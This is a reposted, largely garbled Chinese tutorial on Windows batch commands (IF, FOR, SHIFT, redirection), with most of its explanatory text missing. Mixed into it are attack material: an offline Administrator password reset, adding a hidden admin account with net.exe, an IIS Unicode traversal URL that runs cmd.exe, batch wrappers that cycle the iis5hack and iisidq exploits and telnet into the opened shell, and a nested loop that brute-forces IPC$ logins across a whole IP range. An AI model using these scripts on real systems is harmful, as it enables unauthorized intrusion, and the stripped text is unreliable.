バッチ(.bat)命令大全(転帖)一
:
(1) 1 , , , 4 , , , :
O&O Bluecon 2000 V2.0 Build 256 - English Keyboard
(c) 2000 O&O Software GmbH. Allright reserved.
A:/>
(2) Passwd SAM ,Passwd :
Passwd []
Passwd Password , , ( ).
Administrator 123456, :
A:/>Passwd Administrator 123456
, . :
Please choose a system to logon
1. "Microsoft Windows 2000 Server" /fastdetect
2. "Microsoft Windows XP Professional" /fastdetect
3. "Microsoft Windows 2000 Recovery Cortrol" /cmdcons
, 1, Windows2000 server . "Password was successfully changed" . O&O , , .
(3) , , , .
http://www.oosoft.com
: 。
: , , , , , EFS , , 。
Windows2000/XP
6. Windows 2000/XP---DreamPackPL PE
。
;
;
;
EFS ( Windows 2000);( Windows XP SP1 , , , 、Copy、 。)
: , , 。
: , 。 Windows XP EFS , 。 Windows 2003 。
Windows2000/XP
、 ——
, 。 , 。 , Windows2000(NT) , , URL 。
:Windows2000 Professional [Version 5.00.2195]、Windows XP, 。
: administrator 、 、SAM 、 。
:
:
, Ctrl+Shift “ ”( , ) , “ ”、“ ”。 “ ” , “ URL”, c:/win dnnt/system32, 。 net.exe , 。 , , “ ” :C:/WINNT/system32/net.exe user wing 123456 /add, , 。 , wing, 123456 。 , “ ” :D:/WINNT/system32/net.exe localgroup administrators wing /add, 。 wing 。
:
: , 。 , 。 2003 。
Windows2000/XP
、 ——
, 。
:Windows2000 Professional [Version 5.00.2195]
: administrator 、 、 , SAM 、 。 IIS , 。
:GFI LANguard Network Scanner( )
: 。
:
。 :
,http://www.newup.com.cn/software/GFI-languard-network-scaner 。 。 , 。 , , :- Escaped Characters Decoding Bug /scripts/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir, UNICODE IDQ CGI , , 。 , , , , 。 , 。 , 。
:
: , 。 , .
( ): ( ):
:
, BAT。 , 。
1、 REM
REM , 。 :
REM , 。 REM REM 。 。
2、 ECHO
ECHO OFF ON, ECHO message 。 :
Echo off
Rem
Echo 。
Rem “ ”
:
C:/>ECHO.BAT
。
3、 GOTO
GOTO 。 “:XXX” GOTO : 。
:LABEL
REM LABEL 。
DIR C:/
DIR D:/
GOTO LABEL
REM LABEL 。
4、CALL
CALL , 。 :
2.BAT :
ECHO 2
1.BAT :
ECHO 1
CALL 2.BAT
ECHO 1 2
:
C:/>1.BAT
1
2
1 2
5、PAUSE
PAUSE 。 :
C:/> PAUSE
. . .
6、 IF
IF , :
IF [NOT] ERRORLEVEL number command
IF [NOT] string1==string2 command
IF [NOT] EXIST filename command
:
[NOT] “ ” 。
ERRORLEVEL
Number 0~255。 。 。
string1==string2 string1 string2 , , 2 ( ), command
EXIST filename 。
IF ERRORLEVEL 。 IF ERRORLEVEL 。
:
1、 IF [NOT] ERRORLEVEL number command
。
echo off
dir z:
rem 1( ) 1
IF ERRORLEVEL 1 goto 1
rem 0( ) 0
IF ERRORLEVEL 0 goto 0
:0
echo !
Rem exit
goto exit
:1
echo !
Rem exit
goto exit
:exit
Rem
2、 IF string1==string2 command
ECHO OFF
IF %1==2 goto no
Echo !
Goto exit
:no
echo
goto exit
:exit
C:/>test.bat
3、 IF [NOT] EXIST filename command
echo off
IF not EXIST autoexec.bat goto 1
echo !
goto exit
:1
echo !
goto exit
:exit
c d 。
7、 FOR
FOR , FOR FOR 。 , 。 FOR :
FOR [%%c] IN (set) DO [command] [arguments]
:
FOR [%c] IN (set) DO [command] [arguments]
:
/L 。 ,(1,1,5) 1 2 3 4 5,(5,-1,1) (5 4 3 2 1)。
/D , , 。
/F
eol=c - ( )
skip=n - 。
delims=xxx - 。 。
tokens=x,y,m-n - for 。 。m-n 。 nth mth。 , 。
usebackq - : filenameset 。
:
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do @echo %i %j %k
myfile.txt , , for ; / 。 , for %i , %j , %k 。 , 。 , usebackq , , 。
%i for ,%j %k tokens= 。 tokens= 26 , 'z' 'Z' 。 ,FOR , ; , 52 。
FOR /F ; , filenameset 。 , 。 , FOR /F 。 , filenameset 。 , CMD.EXE, , 。 , :
FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i
。
, /L :
1.TXT 2.TXT 3.TXT 4.TXT 5.TXT
:
ECHO OFF
FOR /L %%F IN (1,1,5) DO DEL %%F.TXT
FOR %%F IN (1,2,3,4,5) DO DEL %%F.TXT
2 :
C:/>DEL 1.TXT
C:/>DEL 2.TXT
C:/>DEL 3.TXT
C:/>DEL 4.TXT
C:/>DEL 5.TXT
8、 SETLOCAL
。 SETLOCAL
。 ,
ENDLOCAL。 ,
SETLOCAL , ENDLOCAL
。 :
@ECHO OFF
SET PATH /* PATH
PAUSE
SETLOCAL
SET PATH=E:/TOOLS /* PATH
SET PATH
PAUSE
ENDLOCAL
SET PATH
PATH 1 。 E:/TOOLS E:/TOOLS ENDLOCAL 。 。 PATH 。
9、 SHIFT
SHIFT 10 (%0~%9) :
ECHO OFF
ECHO %1 %2 %3 %4 %5 %6 %7 %8 %9
SHIFT
ECHO %1 %2 %3 %4 %5 %6 %7 %8 %9
SHIFT
ECHO %1 %2 %3 %4 %5 %6 %7 %8 %9
:
C::/>SHIFT.BAT 1 2 3 4 5 6 7 8 9 10 11
1 2 3 4 5 6 7 8 9
2 3 4 5 6 7 8 9 10
3 4 5 6 7 8 9 10 11
WIN2000 9 。
:
。
1、 (@)
@ 。 echo off echo off 。 @ echo off @
2、 (>)
> 。 ( ) :
1.txt :
1+1
c:/>dir *.txt >1.txt
1.txt
C 。
301A-1508
C:/
2003-03-11 14:04 1,005 FRUNLOG.TXT
2003-04-04 16:38 18,598,494 log.txt
2003-04-04 17:02 5 1.txt
2003-03-12 11:43 0 aierrorlog.txt
2003-03-30 00:35 30,571 202.108.txt
5 18,630,070
0 1,191,542,784
> 。
( : echo off 。Echo off , ) :
C:/>dir *.txt >nul
。
3、 (>>)
>> > , >> >> ( ) :
1.txt :
1+1
c:/>dir *.txt >>1.txt
1.txt
1+1
C 。
301A-1508
C:/
2003-03-11 14:04 1,005 FRUNLOG.TXT
2003-04-04 16:38 18,598,494 log.txt
2003-04-04 17:02 5 1.txt
2003-03-12 11:43 0 aierrorlog.txt
2003-03-30 00:35 30,571 202.108.txt
5 18,630,070
0 1,191,542,784
>> 。
4、 (|)
| 。 :
C:/>dir c:/|find "1508"
301A-1508
c:/ 1508 。Find find /?
format
echo y|fornat a: /s /q /v:system
format format , y 。 echo y | echo y format y ( , )
5、 (^)
^ > 、<、 &、 。 3 。 :
c:/>echo test ^> 1.txt
test > 1.txt
test 1.txt test >1.txt 。 。
6、 (&)
& 2 , 2 。 :
c:/> dir z:/ &dir y:/ &dir c:/
z: y: c: 。
7、 (&&)
&& 2 , 。 :
c:/> dir z:/ &&dir y:/ &&dir c:/
z: ,
8、 (" ")
" " 。 :
c:/>cd “Program Files”
c:/>cd progra~1
c:/>cd pro*
Program Files
9、 (,)
, 。 , 。 :
c:/>dir,c:/
10、 (;)
; ; 。 。 :
DIR C:/;D:/;E:/F:/
DIR C:/
DIR D:/
DIR E:/
DIR F:/
。
:
。 %0~%9 10 。 %0 。 SHIFT %0 %1 。 shift %1 %0 :
C::/>SHIFT.BAT 1 2 3 4 5 6 7 8 9 10 11
SHIFT.BAT 1 2 3 4 5 6 7 8 9
1 2 3 4 5 6 7 8 9 10
2 3 4 5 6 7 8 9 10 11
, , 。 8 。 :
:
ECHO %1
ECHO %2
ECHO %3
:
C:/>TEST “Program Files” Program Files
Program Files
Program
Files
10 ? ( SET ) %windir% %SystemRoot% 。 10 , 。 SET A=%1 A A %A% , SHIFT 。 。 。 , :
ECHO OFF
SET PASS=%1
SHIFT
SET PASS1=%1
SHIFT
ECHO %PASS% %PASS1% %1 %2 %3 %4 %5 %6 %7 %8 %9
SHIFT
ECHO %PASS% %PASS1% %9
SET PASS=%PASS1%
SET PASS1=%9
SHIFT
ECHO %PASS% %PASS1% %9
:C:/>TEST A B 3 4 5 6 7 8 9 10 K L
A B 3 4 5 6 7 8 9 10 K : 11
A B L 3 SHIFT %9 L
B L
:
。 , 。 , /* 。
iis5hack.exe .printer 。 iis5hack.exe telnet.exe。iis5hack :
iis5hack < ip> < > < > < > 0-9 10 sp , <iis.bat ip ( )> 。 。
@echo off /*
if "%1%"=="" goto help /* %1 ,%1 ip
if "%2%"=="1" goto 1 /* %2 1, 1 1
if "%2%"=="2" goto 2 /*%2 ,
if "%2%"=="3" goto 3 /*
if "%2%"=="4" goto 4
if "%2%"=="5" goto 5
if "%2%"=="6" goto 6
if "%2%"=="7" goto 7
if "%2%"=="8" goto 8
if not EXIST iis5hack.exe goto file /* iis5hack.exe file
ping %1 -n 1 | find "Received = 1" /*ping 1 , Received = 1
if errorlevel 1 goto error /* 1 error ( 1 0 )
iis5hack %1 80 9 88 | find "good" /* 80 9 88 ”good”( good)
if not errorlevel 1 goto telnet /* 1( ) telnet 。
echo 9 ! /
:8 /*
iis5hack %1 80 8 88 | find "good"
if not errorlevel 1 goto telnet
echo 8 !
:7
iis5hack %1 80 7 88 | find "good"
if not errorlevel 1 goto telnet
echo 7 !
:6
iis5hack %1 80 6 88 | find "good"
if not errorlevel 1 goto telnet
echo 6 !
:5
iis5hack %1 80 5 88 | find "good"
if not errorlevel 1 goto telnet
echo 5 !
:4
iis5hack %1 80 4 88 | find "good"
if not errorlevel 1 goto telnet
echo 4 !
:3
iis5hack %1 80 3 88 | find "good"
if not errorlevel 1 goto telnet
echo 3 !
:2
iis5hack %1 80 2 88 | find "good"
if not errorlevel 1 goto telnet
echo 2 !
:1
iis5hack %1 80 1 88 | find "good"
if not errorlevel 1 goto telnet
echo 1 !
:0
iis5hack %1 80 0 88 | find "good"
if not errorlevel 1 goto telnet
echo 0 !
goto error
:telnet
telnet %1 88 /* ip 88
goto exit /* exit
:error /*error
echo ! !
echo iis5hack [ IP] [WEB ] [ ] [ ]
ECHO : 0
ECHO +sp1: 1
ECHO : 2
ECHO +sp1: 3
ECHO : 4
ECHO +sp1: 5
ECHO : 6
ECHO +sp1: 7
ECHO : 8
ECHO +sp1: 9
goto exit /* exit
:file /*file
echo iis5hack.exe ! !
goto exit /* exit
:help /*help
echo :
echo iis [ ip]
echo iis [ ip] [ 9-0]
:exit /*exit
。 !
iisidq.exe idq 。 iisidq.exe telnet.exe。iisidq.exe :
: web 1 < 1>
, , , :"cmd.exe"。
0-14。 <idq.bat ip> :
@echo off /*
if not EXIST iisidq.exe goto file /*
if %1 == "" goto error /*
ping %1 -n 1 | find "Received = 1" /*
if errorlevel 1 goto error1 /*
set b=%1 /* b, %1 b。 b ip
set a=0 /* a a 0。 a 。
:no /*no
if %a%==0 set d=0 /* a=0 d d=0。
if %a%==1 set d=1 /* d ,
if %a%==2 set d=2 /* 。
if %a%==3 set d=3
if %a%==4 set d=4
if %a%==5 set d=5
if %a%==6 set d=6
if %a%==7 set d=7
if %a%==9 set d=9
if %a%==10 set d=13
if %a%==11 set d=14
goto 0 /* 0
:1
echo %d% ! %b% ! ......
:0 /* 0
IISIDQ %d% %b% 80 1 99 |find "good" /* good( good)
if errorlevel 1 goto 1 /* good
/* 1
ping 127.0.0.1 -n 8 >nul /*ping 8 8
/*
echo %d% ! /*
telnet %b% 99 /*
echo. /*
if %d%==14 goto error1 /* 14 error1 ( )
if %d%==13 set a=11 /*
if %d%==9 set a=10
if %d%==7 set a=9
if %d%==6 set a=7
if %d%==5 set a=6
if %d%==4 set a=5
if %d%==3 set a=4
if %d%==2 set a=3
if %d%==1 set a=2
if %d%==0 set a=1
goto no /* no
:file /*
echo IIsidq.exe ! !
goto exit
:error
echo ! ip ! !
echo idq [ IP]
goto exit
:error1
echo ! !
echo !
echo iisidq [ ] [ IP] [ ] [ ] [ ]
echo telnet [ ip] [ ]
:exit /*
。
for /l %%a in (0,1,255) do for /l %%b in (0,1,255) do for /l %%c in (1,1,254) do for /f "tokens=1,2*" %%e in (userpass.txt) do net use //%1.%%a.%%b.%%c/ipc$ %%e /u:%%f
1 。 4 FOR 。 :C:/>TEST.BAT 218 218 1 for 0 %%a 2 for 0 %%b 3 for 1 %%c for userpass.txt %%e %%f ( , 123 abc)
net usr //218.0.0.1/ipc$ 123 /u:abc
。 ( ipc.bat) 。 ip 。 , 。
ip 。 , 。 ! !! 。 win2000 xp 。 !